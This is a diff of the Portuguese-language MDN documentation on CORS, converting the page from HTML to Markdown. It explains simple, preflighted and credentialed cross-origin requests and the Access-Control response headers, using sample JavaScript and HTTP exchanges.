  • Nenhum objeto {{domxref("ReadableStream")}} é usado na requisição.
  • -
+- Os únicos métodos permitidos são: -
Nota: Esses são os mesmos tipos de requisições entre origens distintas que o conteúdo da web já pode realizar e nenhum dado dado de resposta é liberado ao solicitante, a menos que o servidor envie um cabeçalho adequado. Portanto, sites que impedem a falsificação de requisições entre origens não tem nada a temer em relação ao controle de acesso HTTP.
+ - {{HTTPMethod("GET")}} + - {{HTTPMethod("HEAD")}} + - {{HTTPMethod("POST")}} -
Nota: O WebKit Nightly e Safari Technology Preview impõem restrições adicionais nos valores permitidos nos cabeçalhos {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} e {{HTTPHeader("Content-Language")}}. Caso algum destes cabeçalhos tenham valores ”não-padronizados”, o WebKit/Safari não considera que a requisição atenda as condições para uma “requisição simples”. O que o WebKit/Safari considera valores “não-padronizados” para estes cabeçalhos não é documentado exceto nos seguintes bugs do WebKit: Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS e Switch to a blacklist model for restricted Accept headers in simple CORS requests. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.
+- Além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou [qualquer um dos outros cabeçalhos com nomes definidos na especificação Fetch como “_forbidden header name_”](https://fetch.spec.whatwg.org/#forbidden-header-name)), os únicos cabeçalhos que podem ser definidos manualmente são [aqueles cujo a especificação Fetch define como sendo um “_CORS-safelisted request-header_”](https://fetch.spec.whatwg.org/#cors-safelisted-request-header), que são: -

Por exemplo, suponha que o conteúdo web no domínio http://foo.example deseje chamar (invocation do exemplo abaixo) um outro conteúdo no domínio http://bar.other. Esse código Javascript pode estar hospedado em foo.example:

+ - {{HTTPHeader("Accept")}} + - {{HTTPHeader("Accept-Language")}} + - {{HTTPHeader("Content-Language")}} + - {{HTTPHeader("Content-Type")}} (porém observe os requisitos adicionais abaixo) -
var invocation = new XMLHttpRequest();
+- Os únicos valores permitidos para o {{HTTPHeader("Content-Type")}} do cabeçalho são:
+
+  - `application/x-www-form-urlencoded`
+  - `multipart/form-data`
+  - `text/plain`
+
+- Nenhum _event listener_ é registrado em qualquer objeto {{domxref("XMLHttpRequestUpload")}} usado na requisição, estes são acessados usando a propriedade {{domxref("XMLHttpRequest.upload")}}.
+- Nenhum objeto {{domxref("ReadableStream")}} é usado na requisição.
+
+> **Nota:** Esses são os mesmos tipos de requisições entre origens distintas que o conteúdo da web já pode realizar e nenhum dado dado de resposta é liberado ao solicitante, a menos que o servidor envie um cabeçalho adequado. Portanto, sites que impedem a falsificação de requisições entre origens não tem nada a temer em relação ao controle de acesso HTTP.
+
+> **Nota:** O WebKit Nightly e Safari Technology Preview impõem restrições adicionais nos valores permitidos nos cabeçalhos {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} e {{HTTPHeader("Content-Language")}}. Caso algum destes cabeçalhos tenham valores ”não-padronizados”, o WebKit/Safari não considera que a requisição atenda as condições para uma “requisição simples”. O que o WebKit/Safari considera valores “não-padronizados” para estes cabeçalhos não é documentado exceto nos seguintes bugs do WebKit: _[Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178), [Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566)_ e _[Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363)_. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.
+
+Por exemplo, suponha que o conteúdo web no domínio `http://foo.example` deseje chamar (`invocation` do exemplo abaixo) um outro conteúdo no domínio `http://bar.other`. Esse código Javascript pode estar hospedado em foo.example:
+
+```js
+var invocation = new XMLHttpRequest();
 var url = 'http://bar.other/resources/public-data/';
 
 function callOtherDomain() {
@@ -103,15 +97,16 @@ function callOtherDomain() {
     invocation.send();
   }
 }
-
+``` -

Isso fará uma troca simples entre cliente e servidor, utilizando o cabeçalho CORS para tratar os privilégios.

+Isso fará uma troca simples entre cliente e servidor, utilizando o cabeçalho CORS para tratar os privilégios. -

+![](https://mdn.mozillademos.org/files/14293/simple_req.png) -

Neste caso, vamos ver o que o navegador enviará ao servidor e vamos olhar como o servidor responde:

+Neste caso, vamos ver o que o navegador enviará ao servidor e vamos olhar como o servidor responde: -
GET /resources/public-data/ HTTP/1.1
+```html
+GET /resources/public-data/ HTTP/1.1
 Host: bar.other
 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
@@ -133,65 +128,60 @@ Transfer-Encoding: chunked
 Content-Type: application/xml
 
 [XML Data]
-
- -

As linhas de 1 a 10 são enviadas no header. Note que o cabeçalho principal da requisição HTTP aqui é {{HTTPHeader("Origin")}} na linha 10, o qual revela que a chamada é proveniente de um conteúdo no domínio http://foo.example.

- -

As linhas de 13 a 22 mostram a resposta HTTP do servidor no domínio http://bar.other. Nesta resposta, o servidor envia de volta um cabeçalho {{HTTPHeader("Access-Control-Allow-Origin")}} exibido na linha 16. O uso dos cabeçalhos {{HTTPHeader("Origin")}} e {{HTTPHeader("Access-Control-Allow-Origin")}} mostram o protocolo de controle de acesso em seu uso mais simples. Neste caso, o servidor responde com Access-Control-Allow-Origin: *, o que significa que o recurso pode ser acessado por qualquer domínio pela comunicação entre origens. Se os proprietários dos recursos em http://bar.other desejarem restringir o acesso ao conteúdo para o mesmo ser apenas de http://foo.example, eles retornaram:

- -

Access-Control-Allow-Origin: http://foo.example

- -

Observe que, agora, nenhum dominio além de http://foo.example (identificado na requisição pelo cabeçalho ORIGIN: como na linha 10) pode acessar o recurso pela comunicação entre origens. O cabeçalho Access-Control-Allow-Origin deve conter o valor que foi enviado no cabeçalho Origin da requisição.

- -

Requisições com pré-envio

- -

Ao contrário de “requisições simples” (discutido acima), requisições com "pré-envio" (Preflighted requests) primeiramente enviam uma requisição HTTP através do método {{HTTPMethod("OPTIONS")}} para obter um recurso em outro domínio, a fim de determinar se de fato a requisição atual é segura para envio. Requisições entre sites possuem pré-envio, já que podem interferir em dados do usuário.

- -

Em particular, uma requisição tem um pré-envio se qualquer das seguintes condições for verdadeira:

- -
    -
  • Se a requisição usa algum dos seguintes métodos: - -
      -
    • {{HTTPMethod("PUT")}}
    • -
    • {{HTTPMethod("DELETE")}}
    • -
    • {{HTTPMethod("CONNECT")}}
    • -
    • {{HTTPMethod("OPTIONS")}}
    • -
    • {{HTTPMethod("TRACE")}}
    • -
    • {{HTTPMethod("PATCH")}}
    • -
    -
  • -
  • Ou se, além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, {{HTTPHeader("Connection")}}, {HTTPHeader("User-Agent")}} ou qualquer OUTRO cabeçalho com um nome definido na especificação Fetch como “forbidden header name), a requisição inclui quaisquer cabeçalhos além daqueles que a especificação Fetch define como sendo um “CORS-safelisted request-header, que são: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (porém observe os requisitos adicionais abaixo)
    • -
    • DPR
    • -
    • {{HTTPHeader("Downlink")}}
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  • Ou se o {{HTTPHeader("Content-Type")}} do cabeçalho tem outro valor que: -
      -
    • application/x-www-form-urlencoded
    • -
    • multipart/form-data
    • -
    • text/plain
    • -
    -
  • -
  • Ou se um ou mais event listener estiver registrado em um objeto {{domxref ("XMLHttpRequestUpload")}} usado nessa requisição.
  • -
  • Ou se um objeto {{domxref("ReadableStream")}} é usado nessa requisição.
  • -
- -
Nota: WebKit Nightly e Safari Technology Preview colocam restrições adicionais nos valores permitidos dos cabeçalhos {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} e {{HTTPHeader("Content-Language")}}. Caso qualquer um desses cabeçalhos tenha algum valor fora do padrão (non-standard), o WebKit/Safari faz o pré-envio da requisição. O que o WebKit/Safari considera como valor “non-standard” para tais cabeçalhos não está documentado, exceto nos seguintes bugs do WebKit: Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, e Content-Language request headers for simple CORS e Switch to a blacklist model for restricted Accept headers in simple CORS requests. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.
- -

O exemplo a seguir é de uma requisição com pré-envio.

- -
var invocation = new XMLHttpRequest();
+```
+
+As linhas de 1 a 10 são enviadas no header. Note que o cabeçalho principal da requisição HTTP aqui é {{HTTPHeader("Origin")}} na linha 10, o qual revela que a chamada é proveniente de um conteúdo no domínio `http://foo.example`.
+
+As linhas de 13 a 22 mostram a resposta HTTP do servidor no domínio `http://bar.other`. Nesta resposta, o servidor envia de volta um cabeçalho {{HTTPHeader("Access-Control-Allow-Origin")}} exibido na linha 16. O uso dos cabeçalhos {{HTTPHeader("Origin")}} e {{HTTPHeader("Access-Control-Allow-Origin")}} mostram o protocolo de controle de acesso em seu uso mais simples. Neste caso, o servidor responde com `Access-Control-Allow-Origin: *`, o que significa que o recurso pode ser acessado por **qualquer** domínio pela comunicação entre origens. Se os proprietários dos recursos em `http://bar.other` desejarem restringir o acesso ao conteúdo para o mesmo ser apenas de `http://foo.example`, eles retornaram:
+
+`Access-Control-Allow-Origin: http://foo.example`
+
+Observe que, agora, nenhum dominio além de `http://foo.example` (identificado na requisição pelo cabeçalho ORIGIN: como na linha 10) pode acessar o recurso pela comunicação entre origens. O cabeçalho `Access-Control-Allow-Origin` deve conter o valor que foi enviado no cabeçalho `Origin` da requisição.
+
+### Requisições com pré-envio
+
+Ao contrário de [“requisições simples” (discutido acima)](/pt-BR/docs/Web/HTTP/Access_control_CORS#Simple_requests), requisições com "pré-envio" (_Preflighted requests_) primeiramente enviam uma requisição HTTP através do método {{HTTPMethod("OPTIONS")}} para obter um recurso em outro domínio, a fim de determinar se de fato a requisição atual é segura para envio. Requisições entre sites possuem pré-envio, já que podem interferir em dados do usuário.
+
+Em particular, uma requisição tem um pré-envio **se qualquer das seguintes condições** for verdadeira:
+
+- **Se** a requisição usa algum dos seguintes métodos:
+
+  - {{HTTPMethod("PUT")}}
+  - {{HTTPMethod("DELETE")}}
+  - {{HTTPMethod("CONNECT")}}
+  - {{HTTPMethod("OPTIONS")}}
+  - {{HTTPMethod("TRACE")}}
+  - {{HTTPMethod("PATCH")}}
+
+- **Ou se**, além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, {{HTTPHeader("Connection")}}, {HTTPHeader("User-Agent")}} ou [qualquer **OUTRO** cabeçalho com um nome definido na especificação Fetch como “_forbidden header name_”](https://fetch.spec.whatwg.org/#forbidden-header-name)), a requisição inclui quaisquer cabeçalhos **além** [daqueles que a especificação Fetch define como sendo um “_CORS-safelisted request-header_”](https://fetch.spec.whatwg.org/#cors-safelisted-request-header), que são:
+
+  - {{HTTPHeader("Accept")}}
+  - {{HTTPHeader("Accept-Language")}}
+  - {{HTTPHeader("Content-Language")}}
+  - {{HTTPHeader("Content-Type")}} (porém observe os requisitos adicionais abaixo)
+  - [`DPR`](http://httpwg.org/http-extensions/client-hints.html#dpr)
+  - {{HTTPHeader("Downlink")}}
+  - [`Save-Data`](http://httpwg.org/http-extensions/client-hints.html#save-data)
+  - [`Viewport-Width`](http://httpwg.org/http-extensions/client-hints.html#viewport-width)
+  - [`Width`](http://httpwg.org/http-extensions/client-hints.html#width)
+
+- **Ou se** o {{HTTPHeader("Content-Type")}} do cabeçalho **tem** **outro** valor que:
+
+  - `application/x-www-form-urlencoded`
+  - `multipart/form-data`
+  - `text/plain`
+
+- **Ou se** um ou mais _event listener_ estiver registrado em um objeto {{domxref ("XMLHttpRequestUpload")}} usado nessa requisição.
+- **Ou se** um objeto {{domxref("ReadableStream")}} é usado nessa requisição.
+
+> **Nota:** WebKit Nightly e Safari Technology Preview colocam restrições adicionais nos valores permitidos dos cabeçalhos {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} e {{HTTPHeader("Content-Language")}}. Caso qualquer um desses cabeçalhos tenha algum valor fora do padrão (non-standard), o WebKit/Safari faz o pré-envio da requisição. O que o WebKit/Safari considera como valor “non-standard” para tais cabeçalhos não está documentado, exceto nos seguintes bugs do WebKit: [Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178), [Allow commas in Accept, Accept-Language, e Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566) e [Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363). Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.
+
+O exemplo a seguir é de uma requisição com pré-envio.
+
+```js
+var invocation = new XMLHttpRequest();
 var url = 'http://bar.other/resources/post-here/';
-var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
+var body = 'Arun';
 
 function callOtherDomain(){
   if(invocation)
@@ -205,17 +195,18 @@ function callOtherDomain(){
 }
 
 ......
-
+``` -

No exemplo acima, a linha 3 cria um XML para enviar com a requisição POST da linha 8. Também, na linha 9, é definido um cabeçalho de uma requisição HTTP "personalizada" (non-standard) com (X-PINGOTHER: pingpong). Tais cabeçalhos não fazem parte do protocolo HTTP/1.1, mas podem ser usados para aplicações web. Já que a requisição usa um Content-Type do tipo application/xml e como é uma requisição personalizada, esta requisição faz um pré-envio.

+No exemplo acima, a linha 3 cria um XML para enviar com a requisição `POST` da linha 8. Também, na linha 9, é definido um cabeçalho de uma requisição HTTP "personalizada" (non-standard) com (`X-PINGOTHER: pingpong`). Tais cabeçalhos não fazem parte do protocolo HTTP/1.1, mas podem ser usados para aplicações web. Já que a requisição usa um Content-Type do tipo `application/xml` e como é uma requisição personalizada, esta requisição faz um pré-envio. -

+![](https://mdn.mozillademos.org/files/14289/prelight.png) -

(Observação: conforme descrito abaixo, a requisição POST real não inclui os cabeçalhos Access-Control-Request- *; eles são necessários apenas para a requisição OPTIONS.)

+(Observação: conforme descrito abaixo, a requisição POST real não inclui os cabeçalhos Access-Control-Request- \*; eles são necessários apenas para a requisição OPTIONS.) -

Vamos conferir a comunicação completa que ocorre entre cliente e servidor. A primeira comunicação é a requisição com pré-envio/resposta:

+Vamos conferir a comunicação completa que ocorre entre cliente e servidor. A primeira comunicação é a _requisição com pré-envio/resposta_: -
OPTIONS /resources/post-here/ HTTP/1.1
+```shell
+OPTIONS /resources/post-here/ HTTP/1.1
 Host: bar.other
 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
@@ -241,11 +232,12 @@ Content-Length: 0
 Keep-Alive: timeout=2, max=100
 Connection: Keep-Alive
 Content-Type: text/plain
-
+``` -

Uma vez que a requisição com pré-envio é completa, a requisição efetiva será enviada:

+Uma vez que a requisição com pré-envio é completa, a requisição efetiva será enviada: -
POST /resources/post-here/ HTTP/1.1
+```shell
+POST /resources/post-here/ HTTP/1.1
 Host: bar.other
 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
@@ -261,7 +253,7 @@ Origin: http://foo.example
 Pragma: no-cache
 Cache-Control: no-cache
 
-<?xml version="1.0"?><person><name>Arun</name></person>
+Arun
 
 
 HTTP/1.1 200 OK
@@ -276,66 +268,62 @@ Connection: Keep-Alive
 Content-Type: text/plain
 
 [Some GZIP'd payload]
-
+``` -

As linhas de 1 a 12 acima representam a requisição com pré-envio tendo o método {{HTTPMethod("OPTIONS")}}. O navegador determina que precisa fazer este envio baseado nos parâmetros da requisição do código JavaScript acima utilizado, para que o servidor possa responder caso seja aceitável o envio da requisição com os dados parâmetros da mesma. OPTIONS é um método HTTP/1.1 usado para determinar informações complementares dos servidores, sendo o mesmo um método {{Glossary("safe")}}, o que significa que não pode ser utilizado para troca de recurso. Note que junto da requisição OPTIONS, outros dois cabeçalhos são enviados (linhas 10 e 11, respectivamente):

+As linhas de 1 a 12 acima representam a requisição com pré-envio tendo o método {{HTTPMethod("OPTIONS")}}. O navegador determina que precisa fazer este envio baseado nos parâmetros da requisição do código JavaScript acima utilizado, para que o servidor possa responder caso seja aceitável o envio da requisição com os dados parâmetros da mesma. OPTIONS é um método HTTP/1.1 usado para determinar informações complementares dos servidores, sendo o mesmo um método {{Glossary("safe")}}, o que significa que não pode ser utilizado para troca de recurso. Note que junto da requisição OPTIONS, outros dois cabeçalhos são enviados (linhas 10 e 11, respectivamente): -
Access-Control-Request-Method: POST
+```
+Access-Control-Request-Method: POST
 Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
+``` -

O cabeçalho {{HTTPHeader("Access-Control-Request-Method")}} notifica o servidor como sendo uma parte da requisição com pré-envio que, quando a requisição efetiva é enviada, será enviada com uma requisição de método POST. O cabeçalho {{HTTPHeader("Access-Control-Request-Headers")}} notifica o servidor que quando a requisição efetiva fora enviada, será enviada com os seguintes cabeçalhos personalizados X-PINGOTHER e Content-Type. O servidor agora tem a oportunidade para definir se deseja aceitar uma requisição sob estas condições.

+O cabeçalho {{HTTPHeader("Access-Control-Request-Method")}} notifica o servidor como sendo uma parte da requisição com pré-envio que, quando a requisição efetiva é enviada, será enviada com uma requisição de método `POST`. O cabeçalho {{HTTPHeader("Access-Control-Request-Headers")}} notifica o servidor que quando a requisição efetiva fora enviada, será enviada com os seguintes cabeçalhos personalizados `X-PINGOTHER` e `Content-Type`. O servidor agora tem a oportunidade para definir se deseja aceitar uma requisição sob estas condições. -

As linhas 14 a 26 acima são as respostas que o servidor devolve, indicando que o método (POST) e os cabeçalhos (X-PINGOTHER) da requisição são aceitáveis. Em particular, vejamos as linhas 17 a 20:

+As linhas 14 a 26 acima são as respostas que o servidor devolve, indicando que o método (`POST`) e os cabeçalhos (`X-PINGOTHER`) da requisição são aceitáveis. Em particular, vejamos as linhas 17 a 20: -
Access-Control-Allow-Origin: http://foo.example
+```
+Access-Control-Allow-Origin: http://foo.example
 Access-Control-Allow-Methods: POST, GET, OPTIONS
 Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
+Access-Control-Max-Age: 86400 +``` -

O servidor responde com Access-Control-Allow-Methods e diz que POST, GET, e OPTIONS são métodos viáveis para requerir o recurso em questão. Perceba que este cabeçalho é similar ao cabeçalho da resposta {{HTTPHeader("Allow")}}, mas usado estritamente dentro do contexto do controle de acesso.

+O servidor responde com `Access-Control-Allow-Methods` e diz que `POST`, `GET`, e `OPTIONS` são métodos viáveis para requerir o recurso em questão. Perceba que este cabeçalho é similar ao cabeçalho da resposta {{HTTPHeader("Allow")}}, mas usado estritamente dentro do contexto do controle de acesso. -

O servidor envia também Access-Control-Allow-Headers com um valor de "X-PINGOTHER, Content-Type", confirmando estes são cabeçalhos permitidos a serem usados com a requisição efetiva. Assim como Access-Control-Allow-Methods, Access-Control-Allow-Headers é uma lista de cabeçalhos aceitáveis, separados por vírgula.

+O servidor envia também `Access-Control-Allow-Headers` com um valor de "`X-PINGOTHER, Content-Type`", confirmando estes são cabeçalhos permitidos a serem usados com a requisição efetiva. Assim como `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers` é uma lista de cabeçalhos aceitáveis, separados por vírgula. -

Por fim, {{HTTPHeader("Access-Control-Max-Age")}} traz o valor em segundos de quão longo pode ser mantida em cache a resposta da requisição pré-envio sem o envio de outra requisição pré-envio. Neste caso, 86400 segundos são 24 horas. Note que cada browser tem um valor interno máximo que toma precedência quado Access-Control-Max-Age for maior.

+Por fim, {{HTTPHeader("Access-Control-Max-Age")}} traz o valor em segundos de quão longo pode ser mantida em cache a resposta da requisição pré-envio sem o envio de outra requisição pré-envio. Neste caso, 86400 segundos são 24 horas. Note que cada browser tem um[ valor interno máximo](/pt-BR/docs/Web/HTTP/Headers/Access-Control-Max-Age) que toma precedência quado `Access-Control-Max-Age` for maior. -

Requisições com pré-envio e redirecionamento

+#### Requisições com pré-envio e redirecionamento -

Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.

+Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following. -
-

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

-
+> The request was redirected to 'https\://example.com/foo', which is disallowed for cross-origin requests that require preflight -
-

Request requires preflight, which is disallowed to follow cross-origin redirect

-
+> Request requires preflight, which is disallowed to follow cross-origin redirect -

The CORS protocol originally required that behavior but was subsequently changed to no longer require it. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.

+The CORS protocol originally required that behavior but [was subsequently changed to no longer require it](https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2). However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required. -

So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:

+So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following: -
    -
  • change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to
  • -
  • change the request such that it is a simple request that doesn’t cause a preflight
  • -
+- change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to +- change the request such that it is a [simple request](/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS$edit#Simple_requests) that doesn’t cause a preflight -

But if it’s not possible to make those changes, then another way that may be possible is to this:

+But if it’s not possible to make those changes, then another way that may be possible is to this: -
    -
  1. Make a simple request (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.
  2. -
  3. Make another request (the “real” request) using the URL you obtained from Response.url or XMLHttpRequest.responseURL in the first step.
  4. -
+1. Make a [simple request](/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS$edit#Simple_requests) (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at. +2. Make another request (the “real” request) using the URL you obtained from `Response.url` or `XMLHttpRequest.responseURL` in the first step. -

However, if the request is one that triggers a preflight due to the presence of the Authorization header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.

+However, if the request is one that triggers a preflight due to the presence of the `Authorization` header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to. -

Requisições com credenciais

+### Requisições com credenciais -

The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or Fetch and CORS is the ability to make "credentialed" requests that are aware of HTTP cookies and HTTP Authentication information. By default, in cross-site {{domxref("XMLHttpRequest")}} or Fetch invocations, browsers will not send credentials. A specific flag has to be set on the {{domxref("XMLHttpRequest")}} object or the {{domxref("Request")}} constructor when it is invoked.

+The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or [Fetch](/pt-BR/docs/Web/API/Fetch_API) and CORS is the ability to make "credentialed" requests that are aware of [HTTP cookies](/pt-BR/docs/Web/HTTP/Cookies) and HTTP Authentication information. By default, in cross-site {{domxref("XMLHttpRequest")}} or [Fetch](/pt-BR/docs/Web/API/Fetch_API) invocations, browsers will **not** send credentials. A specific flag has to be set on the {{domxref("XMLHttpRequest")}} object or the {{domxref("Request")}} constructor when it is invoked. -

In this example, content originally loaded from http://foo.example makes a simple GET request to a resource on http://bar.other which sets Cookies. Content on foo.example might contain JavaScript like this:

+In this example, content originally loaded from `http://foo.example` makes a simple GET request to a resource on `http://bar.other` which sets Cookies. Content on foo.example might contain JavaScript like this: -
var invocation = new XMLHttpRequest();
+```js
+var invocation = new XMLHttpRequest();
 var url = 'http://bar.other/resources/credentialed-content/';
 
 function callOtherDomain(){
@@ -345,15 +333,17 @@ function callOtherDomain(){
     invocation.onreadystatechange = handler;
     invocation.send();
   }
-}
+} +``` -

Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the withCredentials boolean value. By default, the invocation is made without Cookies. Since this is a simple GET request, it is not preflighted, but the browser will reject any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}: true header, and not make the response available to the invoking web content.

+Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the `withCredentials` boolean value. By default, the invocation is made without Cookies. Since this is a simple `GET` request, it is not preflighted, but the browser will **reject** any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}: `true` header, and **not** make the response available to the invoking web content. -

+![](https://mdn.mozillademos.org/files/14291/cred-req.png) -

Here is a sample exchange between client and server:

+Here is a sample exchange between client and server: -
GET /resources/access-control-with-credentials/ HTTP/1.1
+```shell
+GET /resources/access-control-with-credentials/ HTTP/1.1
 Host: bar.other
 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
@@ -384,162 +374,156 @@ Content-Type: text/plain
 
 
 [text/plain payload]
-
+``` + +Although line 11 contains the Cookie destined for the content on `http://bar.other`, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}`: true` (line 19) the response would be ignored and not made available to web content. -

Although line 11 contains the Cookie destined for the content on http://bar.other, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (line 19) the response would be ignored and not made available to web content.

+#### Solicitações credenciadas e curingas (_wildcards_) -

Solicitações credenciadas e curingas (wildcards)

+When responding to a credentialed request, the server **must** specify an origin in the value of the `Access-Control-Allow-Origin` header, instead of specifying the "`*`" wildcard. -

When responding to a credentialed request, the server must specify an origin in the value of the Access-Control-Allow-Origin header, instead of specifying the "*" wildcard.

+Because the request headers in the above example include a `Cookie` header, the request would fail if the value of the `Access-Control-Allow-Origin` header were "\*". But it does not fail: Because the value of the `Access-Control-Allow-Origin` header is "`http://foo.example`" (an actual origin) rather than the "`*`" wildcard, the credential-cognizant content is returned to the invoking web content. -

Because the request headers in the above example include a Cookie header, the request would fail if the value of the Access-Control-Allow-Origin header were "*". But it does not fail: Because the value of the Access-Control-Allow-Origin header is "http://foo.example" (an actual origin) rather than the "*" wildcard, the credential-cognizant content is returned to the invoking web content.

+Note that the `Set-Cookie` response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised. -

Note that the Set-Cookie response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.

+All of these examples can be [seen working here](http://arunranga.com/examples/access-control/). The next section deals with the actual HTTP headers. -

All of these examples can be seen working here. The next section deals with the actual HTTP headers.

+## Os cabeçalhos de resposta HTTP -

Os cabeçalhos de resposta HTTP

+This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action. -

This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.

+### Access-Control-Allow-Origin -

Access-Control-Allow-Origin

+A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax: -

A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:

+``` +Access-Control-Allow-Origin: | * +``` -
Access-Control-Allow-Origin: <origin> | *
-
+The `origin` parameter specifies a URI that may access the resource. The browser must enforce this. For requests **without** credentials, the server may specify "\*" as a wildcard, thereby allowing any origin to access the resource. -

The origin parameter specifies a URI that may access the resource. The browser must enforce this. For requests without credentials, the server may specify "*" as a wildcard, thereby allowing any origin to access the resource.

+For example, to allow http\://mozilla.org to access the resource, you can specify: -

For example, to allow http://mozilla.org to access the resource, you can specify:

+``` +Access-Control-Allow-Origin: http://mozilla.org +``` -
Access-Control-Allow-Origin: http://mozilla.org
+If the server specifies an origin host rather than "\*", then it could also include Origin in the Vary response header to indicate to clients that server responses will differ based on the value of the Origin request header. -

If the server specifies an origin host rather than "*", then it could also include Origin in the Vary response header to indicate to clients that server responses will differ based on the value of the Origin request header.

+### Access-Control-Expose-Headers -

Access-Control-Expose-Headers

+The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example: -

The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:

+``` +Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +``` -
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
-
+This allows the `X-My-Custom-Header` and `X-Another-Custom-Header` headers to be exposed to the browser. -

This allows the X-My-Custom-Header and X-Another-Custom-Header headers to be exposed to the browser.

+### Access-Control-Max-Age -

Access-Control-Max-Age

+The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples. -

The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.

+``` +Access-Control-Max-Age: +``` -
Access-Control-Max-Age: <delta-seconds>
-
+The `delta-seconds` parameter indicates the number of seconds the results can be cached. -

The delta-seconds parameter indicates the number of seconds the results can be cached.
